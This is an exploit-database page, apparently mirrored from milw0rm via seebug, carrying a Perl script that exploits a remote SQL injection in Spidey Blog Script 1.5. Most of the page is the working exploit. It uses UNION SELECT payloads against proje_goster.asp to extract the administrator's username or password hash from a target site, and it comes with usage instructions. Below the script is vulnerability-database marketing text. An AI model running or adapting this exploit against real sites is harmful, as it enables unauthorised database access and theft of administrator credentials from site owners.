Lucene search
K

Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Spidey Blog Script <= 1.5 Remote SQL Injection Exploit by geg

Code

                                                #!usr/bin/perl

#Author : gega
#Google : &#34;Spidey Blog Script (c) v1.5&#34;
#SpideyBlog 1.5 Sql Injection Exploit
#Author Mail : gega.tr[at]gmail[dot]com
#Powered by e-hack.org
#Vulnerability by Asianeagle.
#Vulnerability Link : http://milw0rm.com/exploits/2186

use LWP::Simple;

print &#34;\n==============================\n&#34;;
print &#34;==      Spidey Blog v1.5    ==\n&#34;;
print &#34;==   Sql Injection Exploit  ==\n&#34;;
print &#34;==        Author : gega     ==\n&#34;;
print &#34;==============================\n\n&#34;;

if(!$ARGV[0] or !$ARGV[0]=~/http/ or !$ARGV[1] or ($ARGV[1] ne &#39;password&#39; and $ARGV[1] ne &#39;nick&#39;))
{
	print &#34;Usage : perl $0 [path] [function]\n&#34;;
	print &#34;path ==&#62; http://www.example.com/blog/\n&#34;;
	print &#34;function ==&#62; nick OR password\n&#34;;
	print &#34;Example : perl $0 http://site.org/blog/ nick\n&#34;;
	exit(0);
}
else
{
	if($ARGV[1] eq &#39;nick&#39;){
		$url=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,kullanici_adi,6%20from%20uyeler%20where%20id%20like%201];
		$page=get($ARGV[0].$url) || die &#34;[-] Unable to retrieve: $!&#34;;
		print &#34;[+] Connected to: $ARGV[0]\n&#34;;
		$page=~m/&#60;td width=&#34;100%&#34; valign=&#34;top&#34; height=&#34;19&#34; colspan=&#34;3&#34;&#62;&#60;span class=&#34;normal_yazi&#34;&#62;(.*?)&#60;\/span&#62;&#60;\/td&#62;/ && print &#34;[+] Username of administrator is: $1\n&#34;;
		print &#34;[-] Unable to retrieve username\n&#34; if(!$1); }
	else {
		$code=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,sifre,6%20from%20uyeler%20where%20id%20like%201];
		$page=get($ARGV[0].$code) || die &#34;[-]Unable to retrieve: $!&#34;;
		print &#34;[+] Connected to: $ARGV[0]\n&#34;;
		$page=~m/&#60;td width=&#34;100%&#34; valign=&#34;top&#34; height=&#34;19&#34; colspan=&#34;3&#34;&#62;&#60;span class=&#34;normal_yazi&#34;&#62;(.*?)&#60;\/span&#62;&#60;\/td&#62;/ && print &#34;[+] MD5 hash of password is: $1\n&#34;;
		print &#34;[-] Unable to retrieve password\n&#34; if(!$1);
	}
}
 
#To Be Or Not To Be!

# milw0rm.com [2006-09-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17